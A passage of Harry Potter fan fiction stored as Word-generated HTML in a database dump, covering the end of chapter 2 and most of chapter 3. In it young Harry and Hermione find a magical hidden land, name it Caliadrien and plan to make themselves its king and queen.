grabbed her hand without thinking and\npulled her into the bushes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ow!&#8221; she cried\nas a branch snapped in her face. &#8220;Harry where are we going?&#8221; she asked as he\nled her in.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t know.&#8221;\nHe answered. &#8220;But here&#8230;&#8221; they came out the other side, and Hermione wrapped her\narms around herself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oooh, when did\nit get so cold?&#8221; she asked, shivering. &#8220;And where did the sun go?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked up,\nthe sky was dark grey; the clouds hovering low. &#8220;I didn&#8217;t notice that before.&#8221;\nHe said, biting his lower lip in confusion. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, this\nisn&#8217;t the park&#8230;&#8221; Hermione said, a gnawing fear growing in her stomach.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s not?&#8221; his\nvoice rose an octave; he was getting a bit nervous.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It can&#8217;t be, the\ntemperature wouldn&#8217;t change like that, and we would have seen the clouds\ncoming.&#8221; Hermione replied logically.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well then, where\nare we?&#8221; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8230;. don&#8217;t know.&#8221;\nHermione felt helpless, she almost always knew the answer to everything.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well uh&#8230;&#8221; Harry\nfelt like he should be braver than he was being. &#8220;Want to explore?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Explore?&#8221;\nHermione looked at him as if he had gone off his rocker. &#8220;What if there&#8217;s\nsomething dangerous out there?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, we can\nstay within close distance to these bushes, and we can run if we hear or see\nanything.&#8221; Harry said. He took her bag and set it down where they had come\nthrough. &#8220;There, now we know where to go back out.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay.&#8221; Hermione\nsaid tentatively, grabbing onto Harry&#8217;s arm. She was scared, but curious. The\ntwo children stayed close together as they stepped slowly away from the clump\nof bushes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry noticed as\nthey walked that the ground was rather mushy, and a bit slimy. It also smelled\nquite bad, like the Dursley&#8217;s attic; dusty and stale. They noticed the trees\nwere all dead, the bare branches bending in the cool wind.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Those trees,\nthey look like bony fingers.&#8221; Hermione said, her voice loud in the silence. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, they do.&#8221;\nHarry replied. To their right was a small, shallow body of water surrounding a\ntiny island. Dead fallen tree branches jutted out of the pool, and a broken\nwooden bridge was clumsily set across providing access to the island.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Want to try and\nrisk it?&#8221; Harry looked to the bridge, then at Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No thanks.&#8221; She\nshuddered. &#8220;That water looks gross.&#8221; They moved closer to the bridge and\nnoticed that most of the planks were missing, making it impossible to cross.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh well.&#8221; Harry\nsaid, somewhat disappointed. A snap made both their heads turn quickly. &#8220;What\nwas that?&#8221; he asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t know.&#8221;\nHermione said, her hand clutching his arm tighter. &#8220;Maybe we should go&#8230;.&#8221; They\nboth stood completely still for a few moments, but heard nothing else.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Maybe it was\njust the wind.&#8221; Harry suggested. Hermione nodded slowly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I guess so.&#8221; She\nagreed. They walked around the pond and into the small clearing of trees beyond\nit. Both of them were starting to feel a little less scared now that they\nfigured if anyone was inhabiting this space, they&#8217;d have made themselves known\nby now. Hermione gradually let go of Harry&#8217;s arm, but stayed close to him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This place would\nactually look really nice if it were&#8230;. alive.&#8221; Harry said, looking up at the\ndead trees that seemed to scrape at the sky.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes it would.&#8221;\nHermione said. &#8220;I hate to think of this place like that, it seems such a shame\nthat someone would let it die like this.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry was about\nto say something when the hairs on the back of his neck prickled. &#8220;Hermione, do\nyou feel that?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Feel what?&#8221; she\nasked, looking at him. She noticed with concern that he&#8217;d gone pale.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do you feel\nsuddenly, like someone&#8217;s watching us?&#8221; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">His words gave\nher the chills, and then she felt it too, like someone&#8217;s eyes were trained upon\nher. &#8220;Let&#8217;s go, okay?&#8221; she asked, her voice small. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, okay.&#8221; He\nagreed instantly. She grabbed his hand and they ran back, Harry scooping up her\nbag as they scrambled back beneath the bushes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sunlight and\nwarmth greeted them as they emerged from the other side. &#8220;That was creepy.&#8221;\nHermione said, glad to leave the sensation of being watched behind.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry only nodded\nas he handed her the bag. They stood there silently for what seemed like a long\nwhile, until Hermione spoke again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry listen&#8230;I\nthink we should keep this whole thing a secret.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;A secret?&#8221; he\nasked, his eyes bright.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione nodded.\n&#8220;Even if we decide not to go back in there, I have a feeling that we should\nkeep it to ourselves, forever.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry shrugged\nhis shoulders in a noncommittal sort of manner. &#8220;Okay.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Promise you\nwon&#8217;t say anything to anyone.&#8221; Hermione looked at him through narrowed eyes, it\ncertainly didn&#8217;t seem like he was serious about it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, who am\nI going to tell?&#8221; he asked, holding his hands out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right.&#8221; Hermione\nsmiled at him and held out her hand. He shook it firmly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Our secret.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Well that&#8217;s\nit for chapter 2!! Please don&#8217;t forget to R/R!!! We&#8217;ll have the next part out\njust as soon as we can! :)</p>\n\n\n\n\n\n\n'),
	(81, 3, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="ProgId" content="Word.Document">\n\n<meta name="Generator" content="Microsoft Word 10">\n\n<meta name="Originator" content="Microsoft Word 10">\n\n<link rel="File-List" href="btc3_files/filelist.xml">\n\n<title>Bridge to Caliadrien Chapter 3: Caliadrien</title>\n\n<xml> Heaven Normal Heaven 2 3292 2003-08-23T03:39:00Z 2003-08-23T03:39:00Z 1 3417 19478 162 45 22850 10.2625 </xml><xml> Clean Clean MicrosoftInternetExplorer4 </xml><object classid="clsid:38481807-CA0E-42D2-BF39-B33AF135CC4D" id="ieooui"></object>\n\n<style> st1\\:*{behavior:url(#ieooui) } </style>\n\n<style>\n\n</style>\n\n<style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman";} </style>\n\n<xml>\n\n</xml><xml>\n\n</xml>\n\n\n\n<p>A/N: Well hello everyone! Long time no write, on this story at least. As you can all see, we haven&#8217;t forgotten about this one, it just was a long time in the making. We&#8217;ll try and make sure that updates come a bit more frequently, and besides that, this story is only going to be about 5-6 chapters long.</p>\n\n<p>Thanks to ALL of you who wrote in and asked about this story, and to those of you who reviewed the second chapter. This one is dedicated to you guys! :)</p>\n\n<p>Chapter 3: Caliadrien</p>\n\n<p>Harry bit his lower lip as his cousin\'s fist once again came in contact with his shoulder.</p>\n\n<p>&quot;Does it hurt yet?&quot; <st1:place>Dudley</st1:place> snickered.&nbsp; &quot;Does it hurt yet?&#8221;</p>\n\n<p>He knew if he cried out or retaliated that his aunt would find a way to turn it around and blame his injuries on him. <st1:place>Dudley</st1:place> continued to punch Harry as Petunia finally parked the car under a tree.&nbsp;&nbsp; He sighed with relief as his cousin hurled his two ton body up out of the seat, practically jumping from the car. He quickly removed <st1:place>Dudley</st1:place>\'s toys and the basket from the car, then grabbed his lunch and took off for the woods, hoping Hermione would be there already. Harry had been unable to think of anything other than the place they had discovered the Friday before, and he knew he wanted to go back in there.</p>\n\n<p>As he entered the wood, he saw Hermione rushing towards him with a huge grin on her face.&nbsp; She seemed overly excited about something.&nbsp; He was concentrating on her and tripped over a rock, then was heading towards the ground at rapid speed.</p>\n\n<p>&quot;Harry!&quot; Hermione cried as she watched him fall. His glasses flew off his face and onto the ground a few feet in front of him. She helped him back up and then grabbed his glasses, brushing dirt off them with her shirt. &quot;Here you go.&quot;</p>\n\n<p>Harry\'s face was bright red, <i>&#8216;I did not just do that.</i>\'&nbsp; He thought to himself.&nbsp; <i>\'She probably thinks I\'m a complete fool.</i>\'&nbsp; Harry looked up at her, expecting her to start laughing at him, as Dudley and his friends often did.&nbsp; &quot;Uh thanks...&quot;&nbsp; He took the glasses from her and put them back on.&nbsp; &quot;So um... how was your uh&#8230; weekend?&quot;&nbsp; Harry tried desperately to change the subject.</p>\n\n<p>&quot;It was fine.&quot; Hermione didn\'t seem to care that he had just fallen on his face. &quot;Listen, Harry... I\'ve been thinking a lot about that place over these past few days.&quot;</p>\n\n<p>&quot;I have too.&quot; Harry said, running his hand through his unruly black hair. &quot;Do you... want to go back in?&quot;</p>\n\n<p>&quot;Yes.&quot; Hermione replied immediately. &quot;I wonder... I wonder why it was so different, there\'s got to be a logical explanation why it was so different than this.&quot; she gestured to the trees around her. &quot;Why was it so cold in there but not out here?&quot;</p>\n\n<p>Harry shrugged. &quot;I don\'t know.&nbsp; It was a little strange I suppose&#8230;&quot;</p>\n\n<p>&quot;Strange, yes.&quot; Hermione bit her lower lip. &quot;It was almost like... magic.&quot; Harry stared at her wordlessly for a moment and then she shrugged. &quot;But that\'s silly, there\'s no such thing as magic right?&quot;</p>\n\n<p>&quot;Right.&quot; Harry said, not really sounding too sure of himself.&nbsp; He often got in big trouble when ever he said the word magic at the Dursleys&#8217;.&nbsp; He really didn\'t know what to think.</p>\n\n<p>They walked to the bushes in silence, and then looked at each other, both remembering the creepy feeling of being watched while in there. &quot;Are you ready?&quot; Hermione asked, pulling away at a few branches.</p>\n\n<p>&quot;I\'m ready...uh wait... Are you sure its still going to be there?&nbsp; What if there\'s a huge hole now and we fall?&quot; Harry asked.</p>\n\n<p>&quot;We\'ll just have to take it slow I suppose.&quot; Hermione said in a slightly nervous tone. She got down on all fours and began to crawl through the brush, making sure to watch what was ahead of her.</p>\n\n<p>Harry was glad Hermione was going in front of him, since she had much better eyesight than he did.&nbsp; He continued to crawl after her, wondering if it was much further.</p>\n\n<p>Hermione saw the opening on the other side of the bushes and smiled, she was sick of the pine needles clinging to her hands. Coming out of the brush, she stood up and squinted as Harry shuffled out behind her.</p>\n\n<p>Harry stood up, brushing the dirt from his hands and trousers.&nbsp; &quot;Well I\'m glad we\'re out of there, those things are sharp.&quot;&nbsp; He plucked one sharp quill from his hand.</p>\n\n<p>Both children did a double take at their surroundings. While the sky in the park had been dotted with clouds, it was a deep blue here with the sun shining brightly. Sticking together, they ventured in further and were astonished to discover that the broken bridge they encountered when they had been there Friday was now fixed, and the water in the pond crystal clear.</p>\n\n<p>&#8220;Is this the same place?&#8221; Hermione voiced both of their thoughts. </p>\n\n<p>&#8220;I think so.&#8221; Harry scratched his head in confusion and pushed his glasses up on his nose. &#8220;That&#8217;s the same bridge over there&#8230; but it&#8217;s not broken anymore. And the trees&#8230; they&#8217;ve got leaves on them too&#8230;&#8221; </p>\n\n<p>&#8220;This is so strange&#8230;&#8221; Hermione muttered, more to herself than to Harry. &#8220;It was so&#8230; dark on Friday and now&#8230;&#8221; the two of them looked at each other. &#8220;Are you getting that creepy feeling again?&#8221;</p>\n\n<p>&#8220;No.&#8221; Harry replied.</p>\n\n<p>Hermione glanced around, still feeling a bit nervous, &quot;What are you thinking then?&quot;</p>\n\n<p>&#8220;I&#8217;m not sure.&#8221; Harry felt the tugging in his stomach start to evaporate as they continued to look around. &#8220;It seems safe enough&#8230; whatever it was that day must be gone.&#8221;</p>\n\n<p>&#8220;All right then.&#8221; Hermione said, a tiny smile coming to her face. She pulled her bag off her back and set it down, taking out several gardening tools that Harry recognized from his times of weeding his aunt&#8217;s endless plants in the backyard. &#8220;I thought maybe we could try and fix it up.&#8221; Hermione looked up at him.</p>\n\n<p>&#8220;Um,&#8221; Harry didn&#8217;t want to be rude but he didn&#8217;t want to work. &#8220;How about we just rest for a little bit first?&#8221; he tried to stall. </p>\n\n<p>&#8220;All right.&#8221; Hermione replied, and sat down next to Harry on a soft patch of grass. They laid together in silence for a moment or two, before he spoke up again.</p>\n\n<p>Harry looked around, &#8220;I wonder if there were flowers here before?&quot;</p>\n\n<p>&quot;Probably.&quot; Hermione answered, her eyes half closed. &quot;This place is probably really pretty when it\'s in bloom.&quot;</p>\n\n<p>&#8220;What do you think this place would look like, when it&#8217;s like that?&#8221; Harry asked, turning his head slightly to look at her.</p>\n\n<p>&#8220;Well&#8230;&#8221; Hermione closed her eyes. &#8220;I think probably there would be flowers nearly everywhere you step, and the sun would always be shining. The water in that pond over there would be good enough to drink straight from it, and there would be berry bushes we could eat off of&#8230;&#8221; she opened her eyes and turned to look at Harry, who had a shocked and surprised look on his face. &#8220;What is it?&#8221; she asked.</p>\n\n<p>Harry was wide eyed as he looked around and then back at Hermione.&nbsp; &quot;Well I\'m not sure if it&#8217;s just me but&#8230; this place now looks like how you said.&quot;</p>\n\n<p>Hermione turned and looked as well, her jaw dropping. &quot;I... I can\'t believe this...&quot; the two of them got up and walked over to the pond. &quot;If what I thought was real then...&quot; she leaned over and scooped a handful of the crystal clear water into her hand, bringing it to her mouth. &nbsp;&quot;Harry it&#8217;s good!&quot; she exclaimed.</p>\n\n<p>Harry wiped his hands on his too large trousers and crouched down next to her. Hermione was busy taking another scoop full of the water; he figured it must be good then. He wouldn\'t be so hesitant but one time when he was four, Dudley had forced him to drink river water in front of Piers Polkiss, and ever since then he had shuddered when he saw people drink from the ground. Harry cupped his hand hesitantly and took a scoop, bringing it slowly to his mouth.</p>\n\n<p>&#8220;It tastes like this has lemon in it.&#8221; Hermione said as his eyes widened with the flavour. &#8220;I don&#8217;t know how, but it does.&#8221;</p>\n\n<p>She was right, he realised. It was the best water he&#8217;d ever tasted; nothing had ever been sweeter or crisper than this. He wiped off the back of his mouth with his hand. &#8220;Hermione,&#8221; he said slowly. &#8220;If you made the water this way&#8230; then do you suppose there are berry bushes nearby?&#8221; his stomach growled softly at the thought of food.</p>\n\n<p>Hermione giggled a bit. &#8220;How come boys always think of meals?&#8221; She turned and smiled at him so he would know she was joking around.</p>\n\n<p>He smiled back but was ashamed to tell her about his measly breakfast that morning. The lunch that Aunt Petunia had made would do nothing to ease his hunger, but he forgot all about it when they saw juicy, large red berries the size of golf balls hanging from the leaves of the bushes in front of them. Harry looked at Hermione with disbelief before they both suddenly laughed and ran forward.</p>\n\n<p>&#8220;These are wonderful!&#8221; Hermione cried as she delicately plucked the stems off and popped them in her mouth one at a time. Harry was not so picky; he grabbed handfuls of the berries at once and stuffed them down. </p>\n\n<p>&#8220;Harry!&#8221; Hermione was laughing at his red stained face. &#8220;Didn&#8217;t you eat breakfast this morning?&#8221;</p>\n\n<p>&#8220;Um&#8230;&#8221; Harry wiped his face with his sleeve. &#8220;Not really, I was more excited about getting here.&#8221; He covered hastily.</p>\n\n<p>&#8220;Oh,&#8221; Hermione&#8217;s face turned a slight shade of pink. She had been worried all weekend that Harry wouldn&#8217;t come back to the park again. It pleased her to think he had been looking forward to it as much as she had been.</p>\n\n<p>Harry saw her blush and looked down as he used his sleeve to wipe at his mouth some more. He wanted to say that he had just said that as an excuse, but then he realised that he really <i>had</i> looked forward to spending time with her. Sending a shy smile her way, he resumed eating berries. </p>\n\n<p>The two children spent the rest of the day sitting alternately by the pond and the berry bushes. It was one of the happiest afternoons of Harry&#8217;s life as they sat and did nothing but talk. He waved goodbye to her as they left the woods to go home, and walked towards his aunt&#8217;s car with a slight bounce in his step.</p>\n\n<p>However, that bounce faded as he came to the parking lot and saw his aunt and cousin already in the car. Aunt Petunia had a furious look on her face and Harry knew he was in trouble as he quietly opened the door and got in. Not a word was said as she put the car in reverse and began to drive away.</p>\n\n<p>&#8220;We will not wait for you next time, boy.&#8221; Aunt Petunia said as they were turning down <st1:street><st1:address>Privet Drive</st1:address></st1:street>. </p>\n\n<p>&#8220;Yeah, you made me late for my dinner.&#8221; <st1:place>Dudley</st1:place> jeered at him but put an innocent face on for his mother. &#8220;Mummy I&#8217;m starving!&#8221;</p>\n\n<p>Petunia cooed at her son. &#8220;Don&#8217;t worry Duddikins; Mummy will fix you up whatever you like when we get inside.&#8221; </p>\n\n<p><st1:place>Dudley</st1:place> sneered at him and lurched his big frame up off the seat. As Harry opened the car door to get out, he heard a cry and turned to watch <st1:place>Dudley</st1:place> fall face first onto the pavement.</p>\n\n<p>&#8220;Mummy!!!&#8221; <st1:place>Dudley</st1:place> was wailing. Petunia screamed and rushed back down to help her son up.</p>\n\n<p>&#8220;What happened Duddiepoo?&#8221; Petunia wiped his chubby cheeks. </p>\n\n<p>&#8220;He tripped me!&#8221; Big fat alligator tears were streaming down <st1:place>Dudley</st1:place>&#8217;s face as he pointed to Harry. </p>\n\n<p>Harry&#8217;s jaw fell open. &#8220;I did not!&#8221; he said in his own defence. </p>\n\n<p>&#8220;Yes you did you came over here and tripped me then ran over there so it wouldn&#8217;t look like it was you!&#8221; <st1:place>Dudley</st1:place> said, still crying. Petunia glared at him, then stabbed her finger at the house.</p>\n\n<p>&#8220;How dare you act as if you didn&#8217;t do this? You go right to your cupboard for the rest of the night! No dinner for you either!&#8221; Harry opened his mouth to protest further, but closed it as he realised it would get him nowhere.</p>\n\n<p>He shut his cupboard door behind him and lay flat on his back. Looking up at the stairs above his head, he reflected back on the day he&#8217;d had.</p>\n\n<p>Harry had always had a sneaking suspicion that there was something different about him as far as strange occurrences went, but this was beyond anything he could have dreamed up. A secret land, one that only he and Hermione knew about it seemed. A smile crossed his lips as he thought about her. His friend, his first ever friend. </p>\n\n<p>Harry wasn&#8217;t at all concerned about dinner that evening, for the berries he had eaten all afternoon had more than filled him up. &nbsp;He turned on his side and looked at the cracked mirror hanging next to the door. His green eyes were unusually bright, and his pale face had grown somewhat browner in the sun.</p>\n\n<p>Perhaps things were finally looking up for him.</p>\n\n<p>Hermione was awake the next morning bright and early. She was more than excited to get back to the park and spend time with Harry in their secret place. It was hard not telling her mother about it, especially when she asked where she disappeared to every day.</p>\n\n<p>&#8220;Just in the back of the woods, Mummy,&#8221; Hermione answered with what she hoped was an innocent tone. She loved her mother, but knew she wouldn&#8217;t understand about what had occurred beyond those bushes. </p>\n\n<p>Now she snuck quietly into her father&#8217;s study and grabbed the thick, heavy book off his desk. He had been reading this to her chapter by chapter each night, and last night it had given her several ideas. Putting it into her knapsack, she went into the kitchen and tried to pretend that she hadn&#8217;t just done anything.</p>\n\n<p>&#8220;Hermione, have you made your lunch?&#8221; Mrs. Granger was asking. </p>\n\n<p>&#8220;Yes Mummy,&#8221; Hermione answered. She had made it the night before with the intention of sneaking in extra food for Harry. She had seen yesterday how he had crammed the berries into his mouth, and she wanted to share what she had with her friend. Her friend, her first ever friend.</p>\n\n<p>Hermione was smiling as she followed her mother out of the house. They were just arriving at the park when she saw Harry climbing out of a car a few spaces down. &#8220;Mum, that&#8217;s Harry right there!&#8221; she pointed.</p>\n\n<p>&#8220;All right dear,&#8221; Mrs. Granger smiled at her daughter&#8217;s enthusiasm. Hermione got out of the car and raced to where Harry was setting down his cousin&#8217;s toys.</p>\n\n<p>&#8220;Hi Harry!&#8221; she said. </p>\n\n<p>&#8220;Hi Hermione,&#8221; Harry smiled back at her. He looked up and saw a woman that looked like an older version of his friend approaching.</p>\n\n<p>&#8220;Harry this is my mum,&#8221; Hermione gestured. </p>\n\n<p>&#8220;Lovely to meet you, Harry.&#8221; Mrs. Granger smiled, and was pleased when the boy reached out and shook her hand politely.</p>\n\n<p>&#8220;Nice to meet you too, Mrs. Granger.&#8221; Harry replied. </p>\n\n<p>&#8220;Hermione has talked so much about you,&#8221; Mrs. Granger continued, oblivious to the red flush in her daughter&#8217;s face. &#8220;Where have you two been playing?&#8221;</p>\n\n<p>&#8220;Oh um&#8230;&#8221; Harry didn&#8217;t know if she had said anything to her mother about their place. One look at Hermione shaking her head made him realise. &#8220;Just&#8230; just back in the woods where it&#8217;s quiet,&#8221; he said.</p>\n\n<p>&#8220;That sounds quite lovely,&#8221; Mrs. Granger replied. She could see they looked eager to go and she wouldn&#8217;t hold them up any longer. With a wave, she watched them start to walk off, talking between themselves.</p>\n\n<p>&#8220;Sorry,&#8221; Hermione apologized as they set out towards the trees. &#8220;My mum wanted to meet you before but you were always in the woods or I would get here before you and I know she asks a lot of questions&#8230;&#8221; she trailed off when Harry started laughing.</p>\n\n<p>&#8220;It&#8217;s all right, I don&#8217;t mind,&#8221; he answered shyly, pushing back at his unruly hair. They stood together in silence for a moment when Harry suddenly noticed <st1:place>Dudley</st1:place> approaching. &#8220;Oh no&#8230;&#8221; he grabbed Hermione&#8217;s hand without thinking and began to pull her along. &#8220;<st1:place>Dudley</st1:place>&#8217;s coming, let&#8217;s run!&#8221;</p>\n\n<p>Hermione nodded and they both began to run to the woods. They could hear <st1:place>Dudley</st1:place> and Piers crashing through the brush as they approached the bushes that would lead them into their place.</p>\n\n<p>&#8220;Go!&#8221; Harry pushed her in and then crawled in after her. He stayed near the entrance but was completely out of sight from his cousin. </p>\n\n<p>&#8220;Where did they go?&#8221; <st1:place>Dudley</st1:place>&#8217;s fat pig-like legs were directly in front of the gaping hole in the bushes where Harry and Hermione currently hid. &#8220;They were just here!&#8221;</p>\n\n<p>&#8220;I don&#8217;t know,&#8221; Piers sounded equally as disappointed. &#8220;Maybe we can find them later.&#8221;</p>\n\n<p>&#8220;Yeah&#8230;&#8221; <st1:place>Dudley</st1:place> sounded somewhat cheered up at that prospect, and Harry thanked his lucky stars that his cousin was too dumb to look in the hole. The two boys began to walk away and Harry and Hermione let out breaths.</p>\n\n<p>&#8220;I didn&#8217;t want him finding our place,&#8221; Harry said as they began to crawl through. &#8220;He&#8217;d ruin it, that&#8217;s what <st1:place>Dudley</st1:place> does.&#8221;</p>\n\n<p>&#8220;He&#8217;d eat all the berries too,&#8221; Hermione replied as they stood up on the other side. The sun was still warm on their faces much like it had been the day before. They walked over to the edge of the pond and sat down as Hermione pulled her bag next to her.</p>\n\n<p>&#8220;I was thinking, last night,&#8221; Hermione began as she began to unpack her things. &#8220;We need a name for this place, and we should set up some rules.&#8221;</p>\n\n<p>&#8220;Rules?&#8221; Harry asked, bemused. &#8220;Why do we need rules?&#8221;</p>\n\n<p>&#8220;Because&#8230; this is our place, it&#8217;s like a whole other world that no one but us knows about.&#8221; Hermione fixed him with a stare. &#8220;We can&#8217;t let it go to ruin.&#8221;</p>\n\n<p>&#8220;I guess,&#8221; Harry replied. She beamed as he conceded and began to flip through a very thick book.</p>\n\n<p>&#8220;Well for names&#8230;&#8221; she tucked a strand of hair behind her ear and began to page through the book. &#8220;What about Lothlorien?&#8221;</p>\n\n<p>&#8220;What?&#8221; Harry asked. &#8220;What book is that?&#8221;</p>\n\n<p>&#8220;It&#8217;s called <i>&#8216;The Lord of the Rings.&#8217;</i>&#8221; Hermione replied eagerly. &#8220;My dad has been reading it to me each night and they have some wonderful names in it.&#8221; She began to thumb through it again. &#8220;Well, if you don&#8217;t like that one, how about Mirkwood?&#8221;</p>\n\n<p>Harry shook his head. &#8220;Those both sound&#8230;&#8221;</p>\n\n<p>&#8220;Not right,&#8221; Hermione finished. &#8220;Okay&#8230; Gondor? No&#8230; Rivendell?&#8221; she named off several but none were quite right.</p>\n\n<p>After awhile, Hermione had lapsed into silence and Harry plucked at a few blades of grass; both deep in thought. Suddenly, they looked at one another.</p>\n\n<p>&#8220;Caliadrien.&#8221; They said together. Harry&#8217;s jaw hung open and Hermione&#8217;s eyes grew so wide they looked like they would pop out.</p>\n\n<p>&#8220;How did you know that?&#8221; they spoke in unison again. </p>\n\n<p>&#8220;It just popped into my head,&#8221; Harry tried to explain. Hermione nodded wordlessly. </p>\n\n<p>&#8220;Same with me&#8230;&#8221; The two children sat in contemplative silence for a few moments before Hermione spoke up again. &#8220;Well I guess that&#8217;s it then, Caliadrien.&#8221;</p>\n\n<p>&#8220;I like it,&#8221; Harry said thoughtfully. </p>\n\n<p>&#8220;Me too,&#8221; Hermione grinned. She looked back down at her book as if she was trying to decide whether or not to say what she had on her mind next.</p>\n\n<p>&#8220;What are you thinking?&#8221; Harry asked, seeing as she had something she wanted to say.</p>\n\n<p>&#8220;Well&#8230;&#8221; Hermione began slowly, hoping Harry wouldn&#8217;t find her next idea silly. &#8220;I think&#8230; I think we should declare ourselves King and Queen.&#8221;</p>\n\n<p>Harry bit his lower lip as he thought about what she had just proposed. King and Queen? He was hardly fit to play the role of a King. </p>\n\n<p>&#8220;We don&#8217;t have to if you think it&#8217;s a stupid idea,&#8221; Hermione replied softly as she looked down at her feet. </p>\n\n<p>&#8220;It&#8217;s not that,&#8221; Harry replied. &#8220;I&#8217;m just&#8230;&#8221; he scratched the back of his head. &#8220;I&#8217;m not really a King type of person.&#8221;</p>\n\n<p>&#8220;Well I&#8217;m not much of a Queen person,&#8221; Hermione replied. &#8220;But since this is magic&#8230;&#8221;</p>\n\n<p>Harry looked up at her, a slight smile blossoming across his lips. &#8220;You&#8217;re right,&#8221; he agreed. </p>\n\n<p>A full on grin broke across her face and she almost rushed over and hugged him. &#8220;Great!&#8221; she exclaimed excitedly. &#8220;Then&#8230; I guess we need to proclaim our titles and invent a secret handshake that only we know.&#8221;</p>\n\n<p>&#8220;Okay,&#8221; Harry agreed eagerly. The more he thought about it, the more he liked the idea of being a King and having a secret handshake. </p>\n\n<p>Hermione sat down next to him. &#8220;Okay,&#8221; she said. &#8220;Um, I guess&#8230;. Put your pinkie finger out.&#8221; She stuck hers and he linked it with his. &#8220;And then&#8230; I think&#8230;&#8221; for some reason her face turned bright red.</p>\n\n<p>&#8220;What?&#8221; Harry asked, noticing her colour.</p>\n\n<p>&#8220;Perhaps we should&#8230; do the whole &#8216;seal it with a kiss&#8217;.&#8221; Hermione was blushing furiously.</p>\n\n<p>Harry didn&#8217;t really know what to say, he liked Hermione very much but he didn&#8217;t want to kiss her. She must have seen his indecision for she spoke again.</p>\n\n<p>&#8220;Well no, no&#8230; not on the&#8230; mouth,&#8221; her face was still red. &#8220;Our fists, while our fingers are connected.&#8221;</p>\n\n<p>&#8220;Oh!&#8221; Harry was relieved. &#8220;That&#8217;s fine.&#8221;</p>\n\n<p>Hermione smiled again. &#8220;Now we need crowns.&#8221; She looked around. &#8220;We could use some flowers&#8230;&#8221;</p>\n\n<p>Harry shook his head. &#8220;I&#8217;m not wearing flowers.&#8221;</p>\n\n<p>Hermione looked like she was fighting back a grin. &#8220;Okay,&#8221; she agreed, knowing he wouldn&#8217;t budge. &#8220;Vines?&#8221;</p>\n\n<p>&#8220;That would be okay, I guess,&#8221; Harry answered. &#8220;Better than flowers.&#8221;</p>\n\n<p>Hermione giggled and pulled her pinkie out of Harry&#8217;s. They both gathered what they needed for their respective crowns and Hermione showed him how to weave everything together.</p>\n\n<p>After they finished weaving, they paused, not sure what to do next. Harry looked expectedly at Hermione, sure that she must have had tons of exposure to this kind of thing in books. &#8220;What do we do next?&#8221; he asked after several minutes of 